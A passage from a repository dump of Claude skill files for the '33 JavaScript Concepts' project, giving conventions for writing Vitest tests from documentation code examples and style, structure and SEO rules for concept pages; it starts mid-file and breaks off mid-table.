5. **Audit content structure** — Question hook, early code, Info box, short paragraphs
6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables
7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section
8. **Generate report** — Document score, issues, and prioritized fixes
**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.
================================================
FILE: .claude/skills/test-writer/SKILL.md
================================================
---
name: test-writer
description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines
---
# Skill: Test Writer for Concept Pages
Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.
## When to Use
- After writing a new concept page
- When adding new code examples to existing pages
- When updating existing code examples
- To verify documentation accuracy through automated tests
- Before publishing to ensure all examples work correctly
## Test Writing Methodology
Follow these four phases to create comprehensive tests for a concept page.
### Phase 1: Code Example Extraction
Scan the concept page for all code examples and categorize them:
| Category | Characteristics | Action |
|----------|-----------------|--------|
| **Testable** | Has `console.log` with output comments, returns values | Write tests |
| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |
| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |
| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |
| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |
### Phase 2: Determine Test File Structure
```
tests/
├── fundamentals/ # Concepts 1-6
├── functions-execution/ # Concepts 7-8
├── web-platform/ # Concepts 9-10
├── object-oriented/ # Concepts 11-15
├── functional-programming/ # Concepts 16-19
├── async-javascript/ # Concepts 20-22
├── advanced-topics/ # Concepts 23-31
└── beyond/ # Extended concepts
└── {subcategory}/
```
**File naming:**
- Standard tests: `{concept-name}.test.js`
- DOM tests: `{concept-name}.dom.test.js`
### Phase 3: Convert Examples to Tests
For each testable code example:
1. Identify the expected output (from `console.log` comments or documented behavior)
2. Convert to `expect` assertions
3. Add source line reference in comments
4. Group related tests in `describe` blocks matching documentation sections
### Phase 4: Handle Special Cases
| Case | Solution |
|------|----------|
| Browser-only APIs | Use jsdom environment or skip with note |
| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |
| Side effects | Capture output or test mutations |
| Intentional errors | Use `expect(() => {...}).toThrow()` |
| Async code | Use `async/await` with proper assertions |
---
## Project Test Conventions
### Import Pattern
```javascript
import { describe, it, expect } from 'vitest'
```
For DOM tests or tests needing mocks:
```javascript
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
```
### DOM Test File Header
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
```
### Describe Block Organization
Match the structure of the documentation:
```javascript
describe('Concept Name', () => {
describe('Section from Documentation', () => {
describe('Subsection if needed', () => {
it('should [specific behavior]', () => {
// Test
})
})
})
})
```
### Test Naming Convention
- Start with "should"
- Be descriptive and specific
- Match the documented behavior
```javascript
// Good
it('should return "object" for typeof null', () => {})
it('should throw TypeError when accessing property of undefined', () => {})
it('should resolve promises in order they were created', () => {})
// Bad
it('test typeof', () => {})
it('works correctly', () => {})
it('null test', () => {})
```
### Source Line References
Always reference the documentation source:
```javascript
// ============================================================
// SECTION NAME FROM DOCUMENTATION
// From {concept}.mdx lines XX-YY
// ============================================================
describe('Section Name', () => {
// From lines 45-52: Basic typeof examples
it('should return correct type strings', () => {
// Test
})
})
```
---
## Test Patterns Reference
### Pattern 1: Basic Value Assertion
**Documentation:**
```javascript
console.log(typeof "hello") // "string"
console.log(typeof 42) // "number"
```
**Test:**
```javascript
// From lines XX-YY: typeof examples
it('should return correct type for primitives', () => {
expect(typeof "hello").toBe("string")
expect(typeof 42).toBe("number")
})
```
---
### Pattern 2: Multiple Related Assertions
**Documentation:**
```javascript
let a = "hello"
let b = "hello"
console.log(a === b) // true
let obj1 = { x: 1 }
let obj2 = { x: 1 }
console.log(obj1 === obj2) // false
```
**Test:**
```javascript
// From lines XX-YY: Primitive vs object comparison
it('should compare primitives by value', () => {
let a = "hello"
let b = "hello"
expect(a === b).toBe(true)
})
it('should compare objects by reference', () => {
let obj1 = { x: 1 }
let obj2 = { x: 1 }
expect(obj1 === obj2).toBe(false)
})
```
---
### Pattern 3: Function Return Values
**Documentation:**
```javascript
function greet(name) {
return "Hello, " + name + "!"
}
console.log(greet("Alice")) // "Hello, Alice!"
```
**Test:**
```javascript
// From lines XX-YY: greet function example
it('should return greeting with name', () => {
function greet(name) {
return "Hello, " + name + "!"
}
expect(greet("Alice")).toBe("Hello, Alice!")
})
```
---
### Pattern 4: Error Testing
**Documentation:**
```javascript
// This throws an error!
const obj = null
console.log(obj.property) // TypeError: Cannot read property of null
```
**Test:**
```javascript
// From lines XX-YY: Accessing property of null
it('should throw TypeError when accessing property of null', () => {
const obj = null
expect(() => {
obj.property
}).toThrow(TypeError)
})
```
---
### Pattern 5: Specific Error Messages
**Documentation:**
```javascript
function divide(a, b) {
if (b === 0) throw new Error("Cannot divide by zero")
return a / b
}
```
**Test:**
```javascript
// From lines XX-YY: divide function with error
it('should throw error when dividing by zero', () => {
function divide(a, b) {
if (b === 0) throw new Error("Cannot divide by zero")
return a / b
}
expect(() => divide(10, 0)).toThrow("Cannot divide by zero")
expect(divide(10, 2)).toBe(5)
})
```
---
### Pattern 6: Async/Await Testing
**Documentation:**
```javascript
async function fetchUser(id) {
const response = await fetch(`/api/users/${id}`)
return response.json()
}
```
**Test:**
```javascript
// From lines XX-YY: async fetchUser function
it('should fetch user data asynchronously', async () => {
// Mock fetch for testing
global.fetch = vi.fn(() =>
Promise.resolve({
json: () => Promise.resolve({ id: 1, name: 'Alice' })
})
)
async function fetchUser(id) {
const response = await fetch(`/api/users/${id}`)
return response.json()
}
const user = await fetchUser(1)
expect(user).toEqual({ id: 1, name: 'Alice' })
})
```
---
### Pattern 7: Promise Testing
**Documentation:**
```javascript
const promise = new Promise((resolve) => {
resolve("done")
})
promise.then(result => console.log(result)) // "done"
```
**Test:**
```javascript
// From lines XX-YY: Basic Promise resolution
it('should resolve with correct value', async () => {
const promise = new Promise((resolve) => {
resolve("done")
})
await expect(promise).resolves.toBe("done")
})
```
---
### Pattern 8: Promise Rejection
**Documentation:**
```javascript
const promise = new Promise((resolve, reject) => {
reject(new Error("Something went wrong"))
})
```
**Test:**
```javascript
// From lines XX-YY: Promise rejection
it('should reject with error', async () => {
const promise = new Promise((resolve, reject) => {
reject(new Error("Something went wrong"))
})
await expect(promise).rejects.toThrow("Something went wrong")
})
```
---
### Pattern 9: Floating Point Comparison
**Documentation:**
```javascript
console.log(0.1 + 0.2) // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3) // false
```
**Test:**
```javascript
// From lines XX-YY: Floating point precision
it('should demonstrate floating point imprecision', () => {
expect(0.1 + 0.2).not.toBe(0.3)
expect(0.1 + 0.2).toBeCloseTo(0.3)
expect(0.1 + 0.2 === 0.3).toBe(false)
})
```
---
### Pattern 10: Array Method Testing
**Documentation:**
```javascript
const numbers = [1, 2, 3, 4, 5]
const doubled = numbers.map(n => n * 2)
console.log(doubled) // [2, 4, 6, 8, 10]
```
**Test:**
```javascript
// From lines XX-YY: Array map example
it('should double all numbers in array', () => {
const numbers = [1, 2, 3, 4, 5]
const doubled = numbers.map(n => n * 2)
expect(doubled).toEqual([2, 4, 6, 8, 10])
expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged
})
```
---
### Pattern 11: Object Mutation Testing
**Documentation:**
```javascript
const obj = { a: 1 }
obj.b = 2
console.log(obj) // { a: 1, b: 2 }
```
**Test:**
```javascript
// From lines XX-YY: Object mutation
it('should allow adding properties to objects', () => {
const obj = { a: 1 }
obj.b = 2
expect(obj).toEqual({ a: 1, b: 2 })
})
```
---
### Pattern 12: Closure Testing
**Documentation:**
```javascript
function counter() {
let count = 0
return function() {
count++
return count
}
}
const increment = counter()
console.log(increment()) // 1
console.log(increment()) // 2
console.log(increment()) // 3
```
**Test:**
```javascript
// From lines XX-YY: Closure counter example
it('should maintain state across calls via closure', () => {
function counter() {
let count = 0
return function() {
count++
return count
}
}
const increment = counter()
expect(increment()).toBe(1)
expect(increment()).toBe(2)
expect(increment()).toBe(3)
})
it('should create independent counters', () => {
function counter() {
let count = 0
return function() {
count++
return count
}
}
const counter1 = counter()
const counter2 = counter()
expect(counter1()).toBe(1)
expect(counter1()).toBe(2)
expect(counter2()).toBe(1) // Independent
})
```
---
### Pattern 13: DOM Event Testing
**Documentation:**
```javascript
const button = document.getElementById('myButton')
button.addEventListener('click', function(event) {
console.log('Button clicked!')
console.log(event.type) // "click"
})
```
**Test (in .dom.test.js file):**
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest'
describe('DOM Event Handlers', () => {
let button
beforeEach(() => {
button = document.createElement('button')
button.id = 'myButton'
document.body.appendChild(button)
})
afterEach(() => {
document.body.innerHTML = ''
})
// From lines XX-YY: Button click event
it('should fire click event handler', () => {
const output = []
button.addEventListener('click', function(event) {
output.push('Button clicked!')
output.push(event.type)
})
button.click()
expect(output).toEqual(['Button clicked!', 'click'])
})
})
```
---
### Pattern 14: DOM Manipulation Testing
**Documentation:**
```javascript
const div = document.createElement('div')
div.textContent = 'Hello'
div.classList.add('greeting')
document.body.appendChild(div)
```
**Test:**
```javascript
// From lines XX-YY: Creating and appending elements
it('should create element with text and class', () => {
const div = document.createElement('div')
div.textContent = 'Hello'
div.classList.add('greeting')
document.body.appendChild(div)
const element = document.querySelector('.greeting')
expect(element).not.toBeNull()
expect(element.textContent).toBe('Hello')
expect(element.classList.contains('greeting')).toBe(true)
})
```
---
### Pattern 15: Timer Testing
**Documentation:**
```javascript
console.log('First')
setTimeout(() => console.log('Second'), 0)
console.log('Third')
// Output: First, Third, Second
```
**Test:**
```javascript
// From lines XX-YY: setTimeout execution order
it('should execute setTimeout callback after synchronous code', async () => {
const output = []
output.push('First')
setTimeout(() => output.push('Second'), 0)
output.push('Third')
// Wait for setTimeout to execute
await new Promise(resolve => setTimeout(resolve, 10))
expect(output).toEqual(['First', 'Third', 'Second'])
})
```
---
### Pattern 16: Strict Mode Behavior
**Documentation:**
```javascript
// In strict mode, this throws
"use strict"
x = 10 // ReferenceError: x is not defined
```
**Test:**
```javascript
// From lines XX-YY: Strict mode variable declaration
it('should throw ReferenceError in strict mode for undeclared variables', () => {
// Vitest runs in strict mode by default
expect(() => {
// Using eval to test strict mode behavior
"use strict"
eval('undeclaredVar = 10')
}).toThrow()
})
```
---
## Complete Test File Template
```javascript
import { describe, it, expect } from 'vitest'
describe('[Concept Name]', () => {
// ============================================================
// [FIRST SECTION NAME FROM DOCUMENTATION]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[First Section]', () => {
// From lines XX-YY: [Brief description of example]
it('should [expected behavior]', () => {
// Code from documentation
expect(result).toBe(expected)
})
// From lines XX-YY: [Brief description of next example]
it('should [another expected behavior]', () => {
// Code from documentation
expect(result).toEqual(expected)
})
})
// ============================================================
// [SECOND SECTION NAME FROM DOCUMENTATION]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[Second Section]', () => {
// From lines XX-YY: [Description]
it('should [behavior]', () => {
// Test
})
})
// ============================================================
// EDGE CASES AND COMMON MISTAKES
// From [concept].mdx lines XX-YY
// ============================================================
describe('Edge Cases', () => {
// From lines XX-YY: [Edge case description]
it('should handle [edge case]', () => {
// Test
})
})
describe('Common Mistakes', () => {
// From lines XX-YY: Wrong way example
it('should demonstrate the incorrect behavior', () => {
// Test showing why the "wrong" way fails
})
// From lines XX-YY: Correct way example
it('should demonstrate the correct behavior', () => {
// Test showing the right approach
})
})
})
```
---
## Complete DOM Test File Template
```javascript
/**
* @vitest-environment jsdom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
// ============================================================
// DOM EXAMPLES FROM [CONCEPT NAME]
// From [concept].mdx lines XX-YY
// ============================================================
describe('[Concept Name] - DOM', () => {
// Shared setup
let container
beforeEach(() => {
// Create a fresh container for each test
container = document.createElement('div')
container.id = 'test-container'
document.body.appendChild(container)
})
afterEach(() => {
// Clean up after each test
document.body.innerHTML = ''
vi.restoreAllMocks()
})
// ============================================================
// [SECTION NAME]
// From lines XX-YY
// ============================================================
describe('[Section Name]', () => {
// From lines XX-YY: [Example description]
it('should [expected DOM behavior]', () => {
// Setup
const element = document.createElement('div')
container.appendChild(element)
// Action
element.textContent = 'Hello'
// Assert
expect(element.textContent).toBe('Hello')
})
})
// ============================================================
// EVENT HANDLING
// From lines XX-YY
// ============================================================
describe('Event Handling', () => {
// From lines XX-YY: Click event example
it('should handle click events', () => {
const button = document.createElement('button')
container.appendChild(button)
let clicked = false
button.addEventListener('click', () => {
clicked = true
})
button.click()
expect(clicked).toBe(true)
})
})
})
```
---
## Running Tests
```bash
# Run all tests
npm test
# Run tests for specific concept
npm test -- tests/fundamentals/primitive-types/
# Run tests for specific file
npm test -- tests/fundamentals/primitive-types/primitive-types.test.js
# Run DOM tests only
npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js
# Run with watch mode
npm run test:watch
# Run with coverage
npm run test:coverage
# Run with verbose output
npm test -- --reporter=verbose
```
---
## Quality Checklist
### Completeness
- [ ] All testable code examples have corresponding tests
- [ ] Tests organized by documentation sections
- [ ] Source line references included in comments (From lines XX-YY)
- [ ] DOM tests in separate `.dom.test.js` file
- [ ] Edge cases and error examples tested
### Correctness
- [ ] Tests verify the actual documented behavior
- [ ] Output comments in docs match test expectations
- [ ] Async tests properly use async/await
- [ ] Error tests use correct `toThrow` pattern
- [ ] Floating point comparisons use `toBeCloseTo`
- [ ] Object comparisons use `toEqual` (not `toBe`)
### Convention
- [ ] Uses explicit imports from vitest
- [ ] Follows describe/it nesting pattern
- [ ] Test names start with "should"
- [ ] Proper file naming (`{concept}.test.js`)
- [ ] DOM tests have jsdom environment directive
### Verification
- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`
- [ ] No skipped tests without documented reason
- [ ] No false positives (tests that pass for wrong reasons)
---
## Test Report Template
Use this template to document test coverage for a concept page.
```markdown
# Test Coverage Report: [Concept Name]
**Concept Page:** `/docs/concepts/[slug].mdx`
**Test File:** `/tests/{category}/{concept}/{concept}.test.js`
**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)
**Date:** YYYY-MM-DD
**Author:** [Name/Claude]
## Summary
| Metric | Count |
|--------|-------|
| Total Code Examples in Doc | XX |
| Testable Examples | XX |
| Tests Written | XX |
| DOM Tests Written | XX |
| Skipped (with reason) | XX |
## Tests by Section
| Section | Line Range | Examples | Tests | Status |
|---------|------------|----------|-------|--------|
| [Section 1] | XX-YY | X | X | ✅ |
| [Section 2] | XX-YY | X | X | ✅ |
| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |
## Skipped Examples
| Line | Example Description | Reason |
|------|---------------------|--------|
| XX | ASCII diagram of call stack | Conceptual, not executable |
| YY | Browser fetch example | Requires network, mocked instead |
## Test Execution
```bash
npm test -- tests/{category}/{concept}/
```
**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped
## Notes
[Any special considerations, mock requirements, or issues encountered]
```
---
## Common Issues and Solutions
### Issue: Test passes but shouldn't
**Problem:** Test expectations don't match documentation output
**Solution:** Double-check the expected value matches the `console.log` comment exactly
```javascript
// Documentation says: console.log(result) // [1, 2, 3]
// Make sure test uses:
expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays
```
### Issue: Async test times out
**Problem:** Async test never resolves
**Solution:** Ensure all promises are awaited and async function is marked
```javascript
// Bad
it('should fetch data', () => {
const data = fetchData() // Missing await!
expect(data).toBeDefined()
})
// Good
it('should fetch data', async () => {
const data = await fetchData()
expect(data).toBeDefined()
})
```
### Issue: DOM test fails with "document is not defined"
**Problem:** Missing jsdom environment
**Solution:** Add environment directive at top of file
```javascript
/**
* @vitest-environment jsdom
*/
```
### Issue: Test isolation problems
**Problem:** Tests affect each other
**Solution:** Use beforeEach/afterEach for cleanup
```javascript
afterEach(() => {
document.body.innerHTML = ''
vi.restoreAllMocks()
})
```
---
## Summary
When writing tests for a concept page:
1. **Extract all code examples** from the documentation
2. **Categorize** as testable, DOM, error, or conceptual
3. **Create test file** in correct location with proper naming
4. **Convert each example** to test using appropriate pattern
5. **Reference source lines** in comments for traceability
6. **Run tests** to verify all pass
7. **Document coverage** using the report template
**Remember:** Tests serve two purposes:
1. Verify documentation is accurate
2. Catch regressions if code examples are updated
Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.
================================================
FILE: .claude/skills/write-concept/SKILL.md
================================================
---
name: write-concept
description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines
---
# Skill: Write JavaScript Concept Documentation
Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.
## When to Use
- Creating a new concept page in `/docs/concepts/`
- Rewriting or significantly improving an existing concept page
- Reviewing an existing concept page for quality and completeness
- Adding explanatory content to a concept
## Target Audience
Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.
## Writing Guidelines
### Voice and Tone
- **Conversational but authoritative**: Write like you're explaining to a smart friend
- **Encouraging**: Make complex topics feel approachable
- **Practical**: Focus on real-world applications and use cases
- **Concise**: Respect the reader's time; avoid unnecessary verbosity
- **Question-driven**: Open sections with questions the reader might have
### Avoiding AI-Generated Language
Your writing must sound human, not AI-generated. Here are specific patterns to avoid:
#### Words and Phrases to Avoid
| ❌ Avoid | ✓ Use Instead |
|----------|---------------|
| "Master [concept]" | "Learn [concept]" |
| "dramatically easier/better" | "much easier" or "cleaner" |
| "one fundamental thing" | "one simple thing" |
| "one of the most important concepts" | "This is a big one" |
| "essential points" | "key things to remember" |
| "understanding X deeply improves" | "knowing X well makes Y easier" |
| "To truly understand" | "Let's look at" or "Here's how" |
| "This is crucial" | "This trips people up" |
| "It's worth noting that" | Just state the thing directly |
| "It's important to remember" | "Don't forget:" or "Remember:" |
| "In order to" | "To" |
| "Due to the fact that" | "Because" |
| "At the end of the day" | Remove entirely |
| "When it comes to" | Remove or rephrase |
| "In this section, we will" | Just start explaining |
| "As mentioned earlier" | Remove or link to the section |
#### Repetitive Emphasis Patterns
Don't use the same lead-in pattern repeatedly. Vary your emphasis:
| Instead of repeating... | Vary with... |
|------------------------|--------------|
| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" |
| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" |
| "Important:" | "Watch out:", "Heads up:", "Note:" |
| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" |
#### Em Dash (—) Overuse
AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:
| ❌ Em Dash Overuse | ✓ Better Alternative |
|-------------------|---------------------|
| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." |
| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." |
| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." |
| "outside of async functions — but only in..." | "outside of async functions, but only in..." |
| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." |
| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." |
**When em dashes ARE acceptable:**
- In Key Takeaways section (consistent formatting for the numbered list)
- In MDN card titles (e.g., "async function — MDN")
- In interview answer step-by-step explanations (structured formatting)
- Sparingly when a true parenthetical aside reads naturally
**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one.
#### Superlatives and Filler Words
Avoid vague superlatives that add no information:
| ❌ Avoid | ✓ Use Instead |
|----------|---------------|
| "dramatically" | "much" or remove entirely |
| "fundamentally" | "simply" or be specific about what's fundamental |
| "incredibly" | remove or be specific |
| "extremely" | remove or be specific |
| "absolutely" | remove |
| "basically" | remove (if you need it, you're not explaining clearly) |
| "essentially" | remove or just explain directly |
| "very" | remove or use a stronger word |
| "really" | remove |
| "actually" | remove (unless correcting a misconception) |
| "In fact" | remove (just state the fact) |
| "Interestingly" | remove (let the reader decide if it's interesting) |
#### Stiff/Formal Phrases
Replace formal academic-style phrases with conversational alternatives:
| ❌ Stiff | ✓ Conversational |
|---------|------------------|
| "It should be noted that" | "Note that" or just state it |
| "One might wonder" | "You might wonder" |
| "This enables developers to" | "This lets you" |
| "The aforementioned" | "this" or name it again |
| "Subsequently" | "Then" or "Next" |
| "Utilize" | "Use" |
| "Commence" | "Start" |
| "Prior to" | "Before" |
| "In the event that" | "If" |
| "A considerable amount of" | "A lot of" or "Many" |
#### Playful Touches (Use Sparingly)
Add occasional human touches to make the content feel less robotic, but don't overdo it:
```javascript
// ✓ Good: One playful comment per section
// Callback hell - nested so deep you need a flashlight
// ✓ Good: Conversational aside
// forEach and async don't play well together — it just fires and forgets:
// ✓ Good: Relatable frustration
// Finally, error handling that doesn't make you want to flip a table.
// ❌ Bad: Trying too hard
// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝
// ❌ Bad: Forced humor
// Let's dive into the AMAZING world of Promises! 🎉🚀
```
**Guidelines:**
- One or two playful touches per major section is enough
- Humor should arise naturally from the content
- Avoid emojis in body text (they're fine in comments occasionally)
- Don't explain your jokes
- If a playful line doesn't work, just be direct instead
### Page Structure (Follow This Exactly)
Every concept page MUST follow this structure in this exact order:
```mdx
---
title: "Concept Name: [Hook] in JavaScript"
sidebarTitle: "Concept Name: [Hook]"
description: "SEO-friendly description in 150-160 characters starting with action word"
---
[Opening hook - Start with engaging questions that make the reader curious]
[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"]
[Immediately show a simple code example demonstrating the concept]
```javascript
// This is how you [do the thing] in JavaScript
const example = doSomething()
console.log(example) // Expected output
```
[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]
**What you'll learn in this guide:**
- Key learning outcome 1
- Key learning outcome 2
- Key learning outcome 3
- Key learning outcome 4 (aim for 5-7 items)
[Optional: Prerequisites or important notices - place AFTER Info box]
**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!
---
## [First Major Section - e.g., "What is X?"]
[Core explanation with inline MDN links for any new terms/APIs introduced]
[Optional: CardGroup with MDN reference links for this section]
---
## [Analogy Section - e.g., "The Restaurant Analogy"]
[Relatable real-world analogy that makes the concept click]
[ASCII art diagram visualizing the concept]
```
┌─────────────────────────────────────────────────────────────────────────┐
│ DIAGRAM TITLE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ [Visual representation of the concept] │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
---
## [Core Concepts Section]
[Deep dive with code examples, tables, and Mintlify components]
Explanation of the first step
Explanation of the second step
Detailed explanation with code examples
Detailed explanation with code examples
**Quick Rule of Thumb:** [Memorable summary or mnemonic]
---
## [The API/Implementation Section]
[How to actually use the concept in code]
### Basic Usage
```javascript
// Basic example with step-by-step comments
// Step 1: Do this
const step1 = something()
// Step 2: Then this
const step2 = somethingElse(step1)
// Step 3: Finally
console.log(step2) // Expected output
```
### [Advanced Pattern]
```javascript
// More complex real-world example
```
---
## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"]
[Highlight the most common mistake developers make]
```
┌─────────────────────────────────────────────────────────────────────────┐
│ VISUAL COMPARISON │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ WRONG WAY RIGHT WAY │
│ ───────── ───────── │
│ • Problem 1 • Solution 1 │
│ • Problem 2 • Solution 2 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
```
```javascript
// ❌ WRONG - Explanation of why this is wrong
const bad = wrongApproach()
// ✓ CORRECT - Explanation of the right way
const good = correctApproach()
```
**The Trap:** [Clear explanation of what goes wrong and why]
---
## [Advanced Patterns Section]
[Real-world patterns and best practices]
### Pattern Name
```javascript
// Reusable pattern with practical application
async function realWorldExample() {
// Implementation
}
// Usage
const result = await realWorldExample()
```
---
## Key Takeaways
**The key things to remember:**
1. **First key point** — Brief explanation
2. **Second key point** — Brief explanation
3. **Third key point** — Brief explanation
4. **Fourth key point** — Brief explanation
5. **Fifth key point** — Brief explanation
[Aim for 8-10 key takeaways that summarize everything]
---
## Test Your Knowledge
**Answer:**
[Clear explanation]
```javascript
// Code example demonstrating the answer
```
**Answer:**
[Clear explanation with code if needed]
[Aim for 5-6 questions covering the main topics]
---
## Related Concepts
How it connects to this concept
How it connects to this concept
---
## Reference
Official MDN documentation for the main concept
Additional MDN reference
## Articles
Brief description of what the reader will learn from this article.
[Aim for 4-6 high-quality articles]
## Videos
Brief description of what the video covers.
[Aim for 3-4 quality videos]
```
---
## SEO Guidelines
SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:
- "what is [concept] in JavaScript"
- "how does [concept] work in JavaScript"
- "[concept] JavaScript explained"
- "[concept] JavaScript tutorial"
- "JavaScript [concept] example"
Every writing decision — from title to structure to word choice — should consider search intent.
---
### Target Keywords for Each Concept
Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:
| Keyword Type | Pattern | Example (DOM) |
|--------------|---------|---------------|
| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" |
| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" |
| **How does** | how does [concept] work | "how does the DOM work in JavaScript" |
| **How to** | how to [action] with [concept] | "how to manipulate the DOM" |
| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" |
| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" |
**More Keyword Cluster Examples:**
| Type | Keywords |
|------|----------|
| Primary | "JavaScript closures", "closures in JavaScript" |
| What is | "what is a closure in JavaScript", "what are closures" |
| How does | "how do closures work in JavaScript", "how closures work" |
| Why use | "why use closures JavaScript", "closure use cases" |
| Example | "JavaScript closure example", "closure examples" |
| Interview | "closure interview questions JavaScript" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript Promises", "Promises in JavaScript" |
| What is | "what is a Promise in JavaScript", "what are Promises" |
| How does | "how do Promises work", "how Promises work JavaScript" |
| How to | "how to use Promises", "how to chain Promises" |
| Comparison | "Promises vs callbacks", "Promises vs async await" |
| Error | "Promise error handling", "Promise catch" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript event loop", "event loop JavaScript" |
| What is | "what is the event loop in JavaScript" |
| How does | "how does the event loop work", "how event loop works" |
| Visual | "event loop explained", "event loop visualization" |
| Related | "call stack and event loop", "task queue JavaScript" |
| Type | Keywords |
|------|----------|
| Primary | "JavaScript call stack", "call stack JavaScript" |
| What is | "what is the call stack in JavaScript" |
| How does | "how does the call stack work" |
| Error | "call stack overflow JavaScript", "maximum call stack size exceeded" |
| Visual | "call stack explained", "call stack visualization" |
---
### Title Tag Optimization
The frontmatter has **two title fields**:
- `title` — The page's `` tag (SEO, appears in search results)
- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site)
**The Two-Title Pattern:**
```mdx
---
title: "Closures: How Functions Remember Their Scope in JavaScript"
sidebarTitle: "Closures: How Functions Remember Their Scope"
---
```
- **`title`** ends with "in JavaScript" for SEO keyword placement
- **`sidebarTitle`** omits "JavaScript" for cleaner navigation
**Rules:**
1. **50-60 characters** ideal length for `title` (Google truncates longer titles)
2. **Concept name first** — lead with the topic, "JavaScript" comes at the end
3. **Add a hook** — what will the reader understand or be able to do?
4. **Be specific** — generic titles don't rank
**Title Formulas That Work:**
```
title: "[Concept]: [What You'll Understand] in JavaScript"
sidebarTitle: "[Concept]: [What You'll Understand]"
title: "[Concept]: [Benefit or Outcome] in JavaScript"
sidebarTitle: "[Concept]: [Benefit or Outcome]"
```
**Title Examples:**
| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |
|--------|---------------|----------------------------|
| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` |
| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` |
| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` |
| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` |
| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` |
| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` |
| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` |
| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` |
**Character Count Check:**
Before finalizing, verify your `title` length:
- Under 50 chars: Consider adding more descriptive context
- 50-60 chars: Perfect length
- Over 60 chars: Will be truncated in search results — shorten it
---
### Meta Description Optimization
The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.
**Rules:**
1. **150-160 characters** maximum (Google truncates longer descriptions)
2. **Include primary keyword** in the first half
3. **Include secondary keywords** naturally if space allows
4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated)
5. **Promise specific value** — what will they learn?
6. **End with a hook** — give them a reason to click
**Description Formula:**
```
[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].
```
**Description Examples:**
| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |
|---------|----------------------|--------------------------------|
